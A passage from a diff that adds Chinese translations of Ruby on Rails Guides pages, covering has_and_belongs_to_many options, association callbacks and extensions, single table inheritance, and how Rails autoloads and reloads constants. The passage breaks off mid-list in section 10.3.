+  has_and_belongs_to_many :assemblies, class_name: "Gadget"
+end
+
+
+
+
4.4.2.4 :foreign_key +

按照约定,在联结表中用来指向模型的外键名是模型名后加 _id:foreign_key 选项用于设置要使用的外键名:

+
+class User < ApplicationRecord
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+
+
+
+
4.4.2.5 :join_table +

如果默认按照字典顺序生成的联结表名不能满足要求,可以使用 :join_table 选项指定。

4.4.2.6 :validate +

如果把 :validate 选项设为 false,保存对象时,不会验证关联的对象。该选项的默认值是 true,即保存对象时验证关联的对象。

4.4.3 has_and_belongs_to_many 的作用域

有时可能需要定制 has_and_belongs_to_many 关联使用的查询。定制的查询在作用域代码块中指定。例如:

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { where active: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍其中几个:

+
    +
  • where

  • +
  • extending

  • +
  • group

  • +
  • includes

  • +
  • limit

  • +
  • offset

  • +
  • order

  • +
  • readonly

  • +
  • select

  • +
  • distinct

  • +
+
4.4.3.1 where +

where 方法指定关联的对象必须满足的条件。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where "factory = 'Seattle'" }
+end
+
+
+
+

条件还可以使用散列指定:

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where factory: 'Seattle' }
+end
+
+
+
+

如果 where 使用散列形式,通过这个关联创建的记录会自动使用散列中的作用域。针对上面的例子,使用 @parts.assemblies.create@parts.assemblies.build 创建订单时,会自动把 factory 字段的值设为 "Seattle"

4.4.3.2 extending +

extending 方法指定一个模块名,用来扩展关联代理。后文会详细介绍关联扩展。

4.4.3.3 group +

group 方法指定一个属性名,用在 SQL GROUP BY 子句中,分组查询结果。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+
+
+
+
4.4.3.4 includes +

includes 方法指定使用关联时要及早加载的间接关联。

4.4.3.5 limit +

limit 方法限制通过关联获取的对象数量。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { order("created_at DESC").limit(50) }
+end
+
+
+
+
4.4.3.6 offset +

offset 方法指定通过关联获取对象时的偏移量。例如,-> { offset(11) } 会跳过前 11 个记录。

4.4.3.7 order +

order 方法指定获取关联对象时使用的排序方式,用在 SQL ORDER BY 子句中。

+
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { order "assembly_name ASC" }
+end
+
+
+
+
4.4.3.8 readonly +

如果使用 readonly,通过关联获取的对象是只读的。

4.4.3.9 select +

select 方法用于覆盖检索关联对象数据的 SQL SELECT 子句。默认情况下,Rails 检索所有列。

4.4.3.10 distinct +

distinct 方法用于删除集合中重复的对象。

4.4.4 什么时候保存对象

把对象赋值给 has_and_belongs_to_many 关联时,会自动保存对象(因为要更新外键)。如果一次赋值多个对象,所有对象都会自动保存。

如果由于无法通过验证而导致保存失败,赋值语句返回 false,赋值操作会取消。

如果父对象(has_and_belongs_to_many 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_and_belongs_to_many 关联时不想保存对象,使用 collection.build 方法。

4.5 关联回调

普通回调会介入 Active Record 对象的生命周期,在多个时刻处理对象。例如,可以使用 :before_save 回调在保存对象之前处理对象。

关联回调和普通回调差不多,只不过由集合生命周期中的事件触发。关联回调有四种:

+
    +
  • before_add

  • +
  • after_add

  • +
  • before_remove

  • +
  • after_remove

  • +
+

关联回调在声明关联时定义。例如:

+
+class Author < ApplicationRecord
+  has_many :books, before_add: :check_credit_limit
+
+  def check_credit_limit(book)
+    ...
+  end
+end
+
+
+
+

Rails 会把要添加或删除的对象传入回调。

同一事件可以触发多个回调,多个回调使用数组指定:

+
+class Author < ApplicationRecord
+  has_many :books,
+    before_add: [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(book)
+    ...
+  end
+
+  def calculate_shipping_charges(book)
+    ...
+  end
+end
+
+
+
+

如果 before_add 回调抛出异常,不会把对象添加到集合中。类似地,如果 before_remove 抛出异常,对象不会从集合中删除。

4.6 关联扩展

Rails 基于关联代理对象自动创建的功能是死的,可以通过匿名模块、新的查找方法、创建对象的方法等进行扩展。例如:

+
+class Author < ApplicationRecord
+  has_many :books do
+    def find_by_book_prefix(book_number)
+      find_by(category_id: book_number[0..2])
+    end
+  end
+end
+
+
+
+

如果扩展要在多个关联中使用,可以将其写入具名扩展模块。例如:

+
+module FindRecentExtension
+  def find_recent
+    where("created_at > ?", 5.days.ago)
+  end
+end
+
+class Author < ApplicationRecord
+  has_many :books, -> { extending FindRecentExtension }
+end
+
+class Supplier < ApplicationRecord
+  has_many :deliveries, -> { extending FindRecentExtension }
+end
+
+
+
+

在扩展中可以使用如下 proxy_association 方法的三个属性获取关联代理的内部信息:

+
    +
  • proxy_association.owner:返回关联所属的对象;

  • +
  • proxy_association.reflection:返回描述关联的反射对象;

  • +
  • proxy_association.target:返回 belongs_tohas_one 关联的关联对象,或者 has_manyhas_and_belongs_to_many 关联的关联对象集合;

  • +
+

5 单表继承

有时可能想在不同的模型中共用相同的字段和行为。假如有 Car、Motorcycle 和 Bicycle 三个模型,我们想在它们中共用 colorprice 字段,但是各自的具体行为不同,而且使用不同的控制器。

在 Rails 中实现这一需求非常简单。首先,生成基模型 Vehicle:

+
+$ rails generate model vehicle type:string color:string price:decimal{10.2}
+
+
+
+

注意到了吗,我们添加了一个“type”字段?既然所有模型都保存在这一个数据库表中,Rails 会把保存的模型名存储在这一列中。对这个例子来说,“type”字段的值可能是“Car”、“Motorcycle”或“Bicycle”。如果表中没有“type”字段,单表继承无法工作。

然后,生成三个模型,都继承自 Vehicle。为此,可以使用 parent=PARENT 选项。这样,生成的模型继承指定的父模型,而且不生成对应的迁移(因为表已经存在)。

例如,生成 Car 模型的命令是:

+
+$ rails generate model car --parent=Vehicle
+
+
+
+

生成的模型如下:

+
+class Car < Vehicle
+end
+
+
+
+

这意味着,添加到 Vehicle 中的所有行为在 Car 中都可用,例如关联、公开方法,等等。

创建一辆汽车,相应的记录保存在 vehicles 表中,而且 type 字段的值是“Car”:

+
+Car.create(color: 'Red', price: 10000)
+
+
+
+

对应的 SQL 如下:

+
+INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)
+
+
+
+

查询汽车记录时只会搜索此类车辆:

+
+Car.all
+
+
+
+

执行的查询如下:

+
+SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/autoloading_and_reloading_constants.html b/v5.0/autoloading_and_reloading_constants.html new file mode 100644 index 0000000..594e937 --- /dev/null +++ b/v5.0/autoloading_and_reloading_constants.html @@ -0,0 +1,1000 @@ + + + + + + + +自动加载和重新加载常量 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

自动加载和重新加载常量

本文说明常量自动加载和重新加载机制。

读完本文后,您将学到:

+
    +
  • Ruby 常量的关键知识;

  • +
  • autoload_paths 是什么;

  • +
  • 常量是如何自动加载的;

  • +
  • require_dependency 是什么;

  • +
  • 常量是如何重新加载的;

  • +
  • 自动加载常见问题的解决方案。

  • +
+ + + + +
+
+ +
+
+
+

1 简介

编写 Ruby on Rails 应用时,代码会预加载。

在常规的 Ruby 程序中,类需要加载依赖:

+
+require 'application_controller'
+require 'post'
+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Ruby 程序员的直觉立即就能发现这样做有冗余:如果类定义所在的文件与类名一致,难道不能通过某种方式自动加载吗?我们无需扫描文件寻找依赖,这样不可靠。

而且,Kernel#require 只加载文件一次,如果修改后无需重启服务器,那么开发的过程就更为平顺。如果能在开发环境中使用 Kernel#load,而在生产环境使用 Kernel#require,那该多好。

其实,Ruby on Rails 就有这样的功能,我们刚才已经用到了:

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

本文说明这一机制的运作原理。

2 常量刷新程序

在多数编程语言中,常量不是那么重要,但在 Ruby 中却是一个内容丰富的话题。

本文不会详解 Ruby 常量,但是会重点说明关键的概念。掌握以下几小节的内容对理解常量自动加载和重新加载有所帮助。

2.1 嵌套

类和模块定义可以嵌套,从而创建命名空间:

+
+module XML
+  class SAXParser
+    # (1)
+  end
+end
+
+
+
+

类和模块的嵌套由内向外展开。嵌套可以通过 Module.nesting 方法审查。例如,在上述示例中,(1) 处的嵌套是

+
+[XML::SAXParser, XML]
+
+
+
+

注意,组成嵌套的是类和模块“对象”,而不是访问它们的常量,与它们的名称也没有关系。

例如,对下面的定义来说

+
+class XML::SAXParser
+  # (2)
+end
+
+
+
+

虽然作用跟前一个示例类似,但是 (2) 处的嵌套是

+
+[XML::SAXParser]
+
+
+
+

不含“XML”。

从这个示例可以看出,嵌套中的类或模块的名称与所在的命名空间没有必然联系。

事实上,二者毫无关系。比如说:

+
+module X
+  module Y
+  end
+end
+
+module A
+  module B
+  end
+end
+
+module X::Y
+  module A::B
+    # (3)
+  end
+end
+
+
+
+

(3) 处的嵌套包含两个模块对象:

+
+[A::B, X::Y]
+
+
+
+

可以看出,嵌套的最后不是“A”,甚至不含“A”,但是包含 X::Y,而且它与 A::B 无关。

嵌套是解释器维护的一个内部堆栈,根据下述规则修改:

+
    +
  • 执行 class 关键字后面的定义体时,类对象入栈;执行完毕后出栈。

  • +
  • 执行 module 关键字后面的定义体时,模块对象入栈;执行完毕后出栈。

  • +
  • 执行 class << object 打开的单例类时,类对象入栈;执行完毕后出栈。

  • +
  • 调用 instance_eval 时如果传入字符串参数,接收者的单例类入栈求值的代码所在的嵌套层次。调用 class_evalmodule_eval 时如果传入字符串参数,接收者入栈求值的代码所在的嵌套层次.

  • +
  • 顶层代码中由 Kernel#load 解释嵌套是空的,除非调用 load 时把第二个参数设为真值;如果是这样,Ruby 会创建一个匿名模块,将其入栈。

  • +
+

注意,块不会修改嵌套堆栈。尤其要注意的是,传给 Class.newModule.new 的块不会导致定义的类或模块入栈嵌套堆栈。由此可见,以不同的方式定义类和模块,达到的效果是有区别的。

2.2 定义类和模块是为常量赋值

假设下面的代码片段是定义一个类(而不是打开类):

+
+class C
+end
+
+
+
+

Ruby 在 Object 中创建一个变量 C,并将一个类对象存储在 C 常量中。这个类实例的名称是“C”,一个字符串,跟常量名一样。

如下的代码:

+
+class Project < ApplicationRecord
+end
+
+
+
+

这段代码执行的操作等效于下述常量赋值:

+
+Project = Class.new(ApplicationRecord)
+
+
+
+

而且有个副作用——设定类的名称:

+
+Project.name # => "Project"
+
+
+
+

这得益于常量赋值的一条特殊规则:如果被赋值的对象是匿名类或模块,Ruby 会把对象的名称设为常量的名称。

自此之后常量和实例发生的事情无关紧要。例如,可以把常量删除,类对象可以赋值给其他常量,或者不再存储于常量中,等等。名称一旦设定就不会再变。

类似地,模块使用 module 关键字创建,如下所示:

+
+module Admin
+end
+
+
+
+

这段代码执行的操作等效于下述常量赋值:

+
+Admin = Module.new
+
+
+
+

而且有个副作用——设定模块的名称:

+
+Admin.name # => "Admin"
+
+
+
+

传给 Class.newModule.new 的块与 classmodule 关键字的定义体不在完全相同的上下文中执行。但是两种方式得到的结果都是为常量赋值。

因此,当人们说“String 类”的时候,真正指的是 Object 常量中存储的一个类对象,它存储着常量“String”中存储的一个类对象。而 String 是一个普通的 Ruby 常量,与常量有关的一切,例如解析算法,在 String 常量上都适用。

同样地,在下述控制器中

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Post 不是调用类的句法,而是一个常规的 Ruby 常量。如果一切正常,这个常量的求值结果是一个能响应 all 方法的对象。

因此,我们讨论的话题才是“常量”自动加载。Rails 提供了自动加载常量的功能。

2.3 常量存储在模块中

按字面意义理解,常量属于模块。类和模块有常量表,你可以将其理解为哈希表。

下面通过一个示例来理解。通常我们都说“String 类”,这样方面,下面的阐述只是为了讲解原理。

我们来看看下述模块定义:

+
+module Colors
+  RED = '0xff0000'
+end
+
+
+
+

首先,处理 module 关键字时,解释器会在 Object 常量存储的类对象的常量表中新建一个条目。这个条目把“Colors”与一个新建的模块对象关联起来。而且,解释器把那个新建的模块对象的名称设为字符串“Colors”。

随后,解释模块的定义体时,会在 Colors 常量中存储的模块对象的常量表中新建一个条目。那个条目把“RED”映射到字符串“0xff0000”上。

注意,Colors::RED 与其他类或模块对象中的 RED 常量完全没有关系。如果存在这样一个常量,它在相应的常量表中,是不同的条目。

在前述各段中,尤其要注意类和模块对象、常量名称,以及常量表中与之关联的值对象之间的区别。

2.4 解析算法

2.4.1 相对常量的解析算法

在代码中的特定位置,假如使用 cref 表示嵌套中的第一个元素,如果没有嵌套,则表示 Object

简单来说,相对常量(relative constant)引用的解析算法如下:

+
    +
  1. 如果嵌套不为空,在嵌套中按元素顺序查找常量。元素的祖先忽略不计。

  2. +
  3. 如果未找到,算法向上,进入 cref 的祖先链。

  4. +
  5. 如果未找到,而且 cref 是个模块,在 Object 中查找常量。

  6. +
  7. 如果未找到,在 cref 上调用 const_missing 方法。这个方法的默认行为是抛出 NameError 异常,不过可以覆盖。

  8. +
+

Rails 的自动加载机制没有仿照这个算法,查找的起点是要自动加载的常量名称,即 cref。详情参见 相对引用

2.4.2 限定常量的解析算法

限定常量(qualified constant)指下面这种:

+
+Billing::Invoice
+
+
+
+

Billing::Invoice 由两个常量组成,其中 Billing 是相对常量,使用前一节所属的算法解析。

在开头加上两个冒号可以把第一部分的相对常量变成绝对常量,例如 ::Billing::Invoice。此时,Billing 作为顶层常量查找。

InvoiceBilling 限定,下面说明它是如何解析的。假定 parent 是限定的类或模块对象,即上例中的 Billing。限定常量的解析算法如下:

+
    +
  1. 在 parent 及其祖先中查找常量。

  2. +
  3. 如果未找到,调用 parent 的 const_missing 方法。这个方法的默认行为是抛出 NameError 异常,不过可以覆盖。

  4. +
+

可以看出,这个算法比相对常量的解析算法简单。毕竟这里不涉及嵌套,而且模块也不是特殊情况,如果二者及其祖先中都找不到常量,不会再查看 Object

Rails 的自动加载机制没有仿照这个算法,查找的起点是要自动加载的常量名称和 parent。详情参见 限定引用

3 词汇表

3.1 父级命名空间

给定常量路径字符串,父级命名空间是把最右边那一部分去掉后余下的字符串。

例如,字符串“A::B::C”的父级命名空间是字符串“A::B”,“A::B”的父级命名空间是“A”,“A”的父级命名空间是“”(空)。

不过涉及类和模块的父级命名空间解释有点复杂。假设有个名为“A::B”的模块 M:

+
    +
  • 父级命名空间 “A” 在给定位置可能反应不出嵌套。

  • +
  • 某处代码可能把常量 AObject 中删除了,导致常量 A 不存在。

  • +
  • 如果 A 存在,A 中原来有的类或模块可能不再存在。例如,把一个常量删除后再赋值另一个常量,那么存在的可能就不是同一个对象。

  • +
  • 这种情形中,重新赋值的 A 可能是一个名为“A”的新类或模块。

  • +
  • 在上述情况下,无法再通过 A::B 访问 M,但是模块对象本身可以继续存活于某处,而且名称依然是“A::B”。

  • +
+

父级命名空间这个概念是自动加载算法的核心,有助于以直观的方式解释和理解算法,但是并不严谨。由于有边缘情况,本文所说的“父级命名空间”真正指的是具体的字符串来源。

3.2 加载机制

如果 config.cache_classes 的值是 false(开发环境的默认值),Rails 使用 Kernel#load 自动加载文件,否则使用 Kernel#require 自动加载文件(生产环境的默认值)。

如果启用了常量重新加载,Rails 通过 Kernel#load 多次执行相同的文件。

本文使用的“加载”是指解释指定的文件,但是具体使用 Kernel#load 还是 Kernel#require,取决于配置。

4 自动加载可用性

只要环境允许,Rails 始终会自动加载。例如,runner 命令会自动加载:

+
+$ bin/rails runner 'p User.column_names'
+["id", "email", "created_at", "updated_at"]
+
+
+
+

控制台会自动加载,测试组件会自动加载,当然,应用也会自动加载。

默认情况下,在生产环境中,Rails 启动时会及早加载应用文件,因此开发环境中的多数自动加载行为不会发生。但是在及早加载的过程中仍然可能会触发自动加载。

例如:

+
+class BeachHouse < House
+end
+
+
+
+

如果及早加载 app/models/beach_house.rb 文件之后,House 尚不可知,Rails 会自动加载它。

5 autoload_paths +

或许你已经知道,使用 require 引入相对文件名时,例如

+
+require 'erb'
+
+
+
+

Ruby 在 $LOAD_PATH 中列出的目录里寻找文件。即,Ruby 迭代那些目录,检查其中有没有名为“erb.rb”“erb.so”“erb.o”或“erb.dll”的文件。如果在某个目录中找到了,解释器加载那个文件,搜索结束。否则,继续在后面的目录中寻找。如果最后没有找到,抛出 LoadError 异常。

后面会详述常量自动加载机制,不过整体思路是,遇到未知的常量时,如 Post,假如 app/models 目录中存在 post.rb 文件,Rails 会找到它,执行它,从而定义 Post 常量。

好吧,其实 Rails 会在一系列目录中查找 post.rb,有点类似于 $LOAD_PATH。那一系列目录叫做 autoload_paths,默认包含:

+
    +
  • 应用和启动时存在的引擎的 app 目录中的全部子目录。例如,app/controllers。这些子目录不一定是默认的,可以是任何自定义的目录,如 app/workersapp 目录中的全部子目录都自动纳入 autoload_paths

  • +
  • 应用和引擎中名为 app/*/concerns 的二级目录。

  • +
  • test/mailers/previews 目录。

  • +
+

此外,这些目录可以使用 config.autoload_paths 配置。例如,以前 lib 在这一系列目录中,但是现在不在了。应用可以在 config/application.rb 文件中添加下述配置,将其纳入其中:

+
+config.autoload_paths << "#{Rails.root}/lib"
+
+
+
+

在各个环境的配置文件中不能配置 config.autoload_paths

autoload_paths 的值可以审查。在新创建的应用中,它的值是(经过编辑):

+
+$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
+.../app/assets
+.../app/controllers
+.../app/helpers
+.../app/mailers
+.../app/models
+.../app/controllers/concerns
+.../app/models/concerns
+.../test/mailers/previews
+
+
+
+

autoload_paths 在初始化过程中计算并缓存。目录结构发生变化时,要重启服务器。

6 自动加载算法

6.1 相对引用

相对常量引用可在多处出现,例如:

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

这里的三个常量都是相对引用。

6.1.1 classmodule 关键字后面的常量

Ruby 程序会查找 classmodule 关键字后面的常量,因为要知道是定义类或模块,还是再次打开。

如果常量不被认为是缺失的,不会定义常量,也不会触发自动加载。

因此,在上述示例中,解释那个文件时,如果 PostsController 未定义,Rails 不会触发自动加载机制,而是由 Ruby 定义那个控制器。

6.1.2 顶层常量

相对地,如果 ApplicationController 是未知的,会被认为是缺失的,Rails 会尝试自动加载。

为了加载 ApplicationController,Rails 会迭代 autoload_paths。首先,检查 app/assets/application_controller.rb 文件是否存在,如果不存在(通常如此),再检查 app/controllers/application_controller.rb 是否存在。

如果那个文件定义了 ApplicationController 常量,那就没事,否则抛出 LoadError 异常:

+
+unable to autoload constant ApplicationController, expected
+<full path to application_controller.rb> to define it (LoadError)
+
+
+
+

Rails 不要求自动加载的常量是类或模块对象。假如在 app/models/max_clients.rb 文件中定义了 MAX_CLIENTS = 100,Rails 也能自动加载 MAX_CLIENTS

6.1.3 命名空间

自动加载 ApplicationController 时直接检查 autoload_paths 里的目录,因为它没有嵌套。Post 就不同了,那一行的嵌套是 [PostsController],此时就会使用涉及命名空间的算法。

对下述代码来说:

+
+module Admin
+  class BaseController < ApplicationController
+    @@all_roles = Role.all
+  end
+end
+
+
+
+

为了自动加载 Role,要分别检查当前或父级命名空间中有没有定义 Role。因此,从概念上讲,要按顺序尝试自动加载下述常量:

+
+Admin::BaseController::Role
+Admin::Role
+Role
+
+
+
+

为此,Rails 在 autoload_paths 中分别查找下述文件名:

+
+admin/base_controller/role.rb
+admin/role.rb
+role.rb
+
+
+
+

此外还会查找一些其他目录,稍后说明。

不含扩展名的相对文件路径通过 'Constant::Name'.underscore 得到,其中 Constant::Name 是已定义的常量。

假设 app/models/post.rb 文件中定义了 Post 模型,下面说明 Rails 是如何自动加载 PostsController 中的 Post 常量的。

首先,在 autoload_paths 中查找 posts_controller/post.rb

+
+app/assets/posts_controller/post.rb
+app/controllers/posts_controller/post.rb
+app/helpers/posts_controller/post.rb
+...
+test/mailers/previews/posts_controller/post.rb
+
+
+
+

最后并未找到,因此会寻找一个类似的目录,下一节说明原因:

+
+app/assets/posts_controller/post
+app/controllers/posts_controller/post
+app/helpers/posts_controller/post
+...
+test/mailers/previews/posts_controller/post
+
+
+
+

如果也未找到这样一个目录,Rails 会在父级命名空间中再次查找。对 Post 来说,只剩下顶层命名空间了:

+
+app/assets/post.rb
+app/controllers/post.rb
+app/helpers/post.rb
+app/mailers/post.rb
+app/models/post.rb
+
+
+
+

这一次找到了 app/models/post.rb 文件。查找停止,加载那个文件。如果那个文件中定义了 Post,那就没问题,否则抛出 LoadError 异常。

6.2 限定引用

如果缺失限定常量,Rails 不会在父级命名空间中查找。但是有一点要留意:缺失常量时,Rails 不知道它是相对引用还是限定引用。

例如:

+
+module Admin
+  User
+end
+
+
+
+

+
+Admin::User
+
+
+
+

如果 User 缺失,在上述两种情况中 Rails 只知道缺失的是“Admin”模块中一个名为“User”的常量。

如果 User 是顶层常量,对前者来说,Ruby 会解析,但是后者不会。一般来说,Rails 解析常量的算法与 Ruby 不同,但是此时,Rails 尝试使用下述方式处理:

+
+

如果类或模块的父级命名空间中没有缺失的常量,Rails 假定引用的是相对常量。否则是限定常量。

+
+

例如,如果下述代码触发自动加载

+
+Admin::User
+
+
+
+

那么,Object 中已经存在 User 常量。但是下述代码不会触发自动加载

+
+module Admin
+  User
+end
+
+
+
+

如若不然,Ruby 就能解析出 User,也就无需自动加载了。因此,Rails 假定它是限定引用,只会在 admin/user.rb 文件和 admin/user 目录中查找。

其实,只要嵌套匹配全部父级命名空间,而且彼时适用这一规则的常量已知,这种机制便能良好运行。

然而,自动加载是按需执行的。如果碰巧顶层 User 尚未加载,那么 Rails 就假定它是相对引用。

在实际使用中,这种命名冲突很少发生。如果发生,require_dependency 提供了解决方案:确保做前述引文中的试探时,在有冲突的地方定义了常量。

6.3 自动模块

把模块作为命名空间使用时,Rails 不要求应用为之定义一个文件,有匹配命名空间的目录就够了。

假设应用有个后台,相关的控制器存储在 app/controllers/admin 目录中。遇到 Admin::UsersController 时,如果 Admin 模块尚未加载,Rails 要先自动加载 Admin 常量。

如果 autoload_paths 中有个名为 admin.rb 的文件,Rails 会加载那个文件。如果没有这么一个文件,而且存在名为 admin 的目录,Rails 会创建一个空模块,自动将其赋值给 Admin 常量。

6.4 一般步骤

相对引用在 cref 中报告缺失,限定引用在 parent 中报告缺失(cref 的指代参见 相对常量的解析算法开头,parent 的指代参见 限定常量的解析算法开头)。

在任意的情况下,自动加载常量 C 的步骤如下:

+
+if the class or module in which C is missing is Object
+  let ns = ''
+else
+  let M = the class or module in which C is missing
+
+  if M is anonymous
+    let ns = ''
+  else
+    let ns = M.name
+  end
+end
+
+loop do
+  # 查找特定的文件
+  for dir in autoload_paths
+    if the file "#{dir}/#{ns.underscore}/c.rb" exists
+      load/require "#{dir}/#{ns.underscore}/c.rb"
+
+      if C is now defined
+        return
+      else
+        raise LoadError
+      end
+    end
+  end
+
+  # 查找自动模块
+  for dir in autoload_paths
+    if the directory "#{dir}/#{ns.underscore}/c" exists
+      if ns is an empty string
+        let C = Module.new in Object and return
+      else
+        let C = Module.new in ns.constantize and return
+      end
+    end
+  end
+
+  if ns is empty
+    # 到顶层了,还未找到常量
+    raise NameError
+  else
+    if C exists in any of the parent namespaces
+      # 以限定常量试探
+      raise NameError
+    else
+      # 在父级命名空间中再试一次
+      let ns = the parent namespace of ns and retry
+    end
+  end
+end
+
+
+
+

7 require_dependency +

常量自动加载按需触发,因此使用特定常量的代码可能已经定义了常量,或者触发自动加载。具体情况取决于执行路径,二者之间可能有较大差异。

然而,有时执行到某部分代码时想确保特定常量是已知的。require_dependency 为此提供了一种方式。它使用目前的加载机制加载文件,而且会记录文件中定义的常量,就像是自动加载的一样,而且会按需重新加载。

require_dependency 很少需要使用,不过 自动加载和 STI常量未缺失有几个用例。

与自动加载不同,require_dependency 不期望文件中定义任何特定的常量。但是利用这种行为不好,文件和常量路径应该匹配。

8 常量重新加载

config.cache_classes 设为 false 时,Rails 会重新自动加载常量。

例如,在控制台会话中编辑文件之后,可以使用 reload! 命令重新加载代码:

+
+> reload!
+
+
+
+

在应用运行的过程中,如果相关的逻辑有变,会重新加载代码。为此,Rails 会监控下述文件:

+
    +
  • config/routes.rb

  • +
  • 本地化文件

  • +
  • autoload_paths 中的 Ruby 文件

  • +
  • db/schema.rbdb/structure.sql

  • +
+

如果这些文件中的内容有变,有个中间件会发现,然后重新加载代码。

自动加载机制会记录自动加载的常量。重新加载机制使用 Module#remove_const 方法把它们从相应的类和模块中删除。这样,运行代码时那些常量就变成未知了,从而按需重新加载文件。

这是一个极端操作,Rails 重新加载的不只是那些有变化的代码,因为类之间的依赖极难处理。相反,Rails 重新加载一切。

9 Module#autoload 不涉其中

Module#autoload 提供的是惰性加载常量方式,深置于 Ruby 的常量查找算法、动态常量 API,等等。这一机制相当简单。

Rails 内部在加载过程中大量采用这种方式,尽量减少工作量。但是,Rails 的常量自动加载机制不是使用 Module#autoload 实现的。

如果基于 Module#autoload 实现,可以遍历应用树,调用 autoload 把文件名和常规的常量名对应起来。

Rails 不采用这种实现方式有几个原因。

例如,Module#autoload 只能使用 require 加载文件,因此无法重新加载。不仅如此,它使用的是 require 关键字,而不是 Kernel#require 方法。

因此,删除文件后,它无法移除声明。如果使用 Module#remove_const 把常量删除了,不会触发 Module#autoload。此外,它不支持限定名称,因此有命名空间的文件要在遍历树时解析,这样才能调用相应的 autoload 方法,但是那些文件中可能有尚未配置的常量引用。

基于 Module#autoload 的实现很棒,但是如你所见,目前还不可能。Rails 的常量自动加载机制使用 Module#const_missing 实现,因此才有本文所述的独特算法。

10 常见问题

10.1 嵌套和限定常量

假如有下述代码

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

+
+class Admin::UsersController < ApplicationController
+  def index
+    @users = User.all
+  end
+end
+
+
+
+

为了解析 User,对前者来说,Ruby 会检查 Admin,但是后者不会,因为它不在嵌套中(参见 嵌套解析算法)。

可惜,在缺失常量的地方,Rails 自动加载机制不知道嵌套,因此行为与 Ruby 不同。具体而言,在两种情况下,Admin::User 都能自动加载。

尽管严格来说某些情况下 classmodule 关键字后面的限定常量可以自动加载,但是最好使用相对常量:

+
+module Admin
+  class UsersController < ApplicationController
+    def index
+      @users = User.all
+    end
+  end
+end
+
+
+
+

10.2 自动加载和 STI

单表继承(Single Table Inheritance,STI)是 Active Record 的一个功能,作用是在一个数据库表中存储具有层次结构的多个模型。这种模型的 API 知道层次结构的存在,而且封装了一些常用的需求。例如,对下面的类来说:

+
+# app/models/polygon.rb
+class Polygon < ApplicationRecord
+end
+
+# app/models/triangle.rb
+class Triangle < Polygon
+end
+
+# app/models/rectangle.rb
+class Rectangle < Polygon
+end
+
+
+
+

Triangle.create 在表中创建一行,表示一个三角形,而 Rectangle.create 创建一行,表示一个长方形。如果 id 是某个现有记录的 ID,Polygon.find(id) 返回的是正确类型的对象。

操作集合的方法也知道层次结构。例如,Polygon.all 返回表中的全部记录,因为所有长方形和三角形都是多边形。Active Record 负责为结果集合中的各个实例设定正确的类。

类型会按需自动加载。例如,如果 Polygon.first 是一个长方形,而 Rectangle 尚未加载,Active Record 会自动加载它,然后正确实例化记录。

目前一切顺利,但是如果在根类上执行查询,需要处理子类,这时情况就复杂了。

处理 Polygon 时,无需知道全部子代,因为表中的所有记录都是多边形。但是处理子类时, Active Record 需要枚举类型,找到所需的那个。下面看一个例子。

Rectangle.all 在查询中添加一个类型约束,只加载长方形:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

下面定义一个 Rectangle 的子类:

+
+# app/models/square.rb
+class Square < Rectangle
+end
+
+
+
+

现在,Rectangle.all 返回的结果应该既有长方形,也有正方形:

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle", "Square")
+
+
+
+

但是这里有个问题:Active Record 怎么知道存在 Square 类呢?

如果 app/models/square.rb 文件存在,而且定义了 Square 类,但是没有代码使用它,Rectangle.all 执行的查询是

+
+SELECT "polygons".* FROM "polygons"
+WHERE "polygons"."type" IN ("Rectangle")
+
+
+
+

这不是缺陷,查询包含了所有已知的 Rectangle 子代。

为了确保能正确处理,而不管代码的执行顺序,可以在定义根类的文件底部手动加载子代:

+
+# app/models/polygon.rb
+class Polygon < ApplicationRecord
+end
+require_dependency 'square'
+
+
+
+

只有最小辈的子代需要以这种方式加载。直接子类无需预加载。如果层次结构较深,中间类会自底向上递归自动加载,因为相应的常量作为超类出现在类定义中。

10.3 自动加载和 require +

通过自动加载机制加载的定义常量的文件一定不能使用 require 引入:

+
+require 'user' # 千万别这么做
+
+class UsersController < ApplicationController
+  ...
+end
+
+
+
+

如果这么做,在开发环境中会导致两个问题:

+
    +
  1. 如果在执行 require 之前自动加载了 Userapp/models/user.rb 会再次运行,因为 load 不会更新 $LOADED_FEATURES

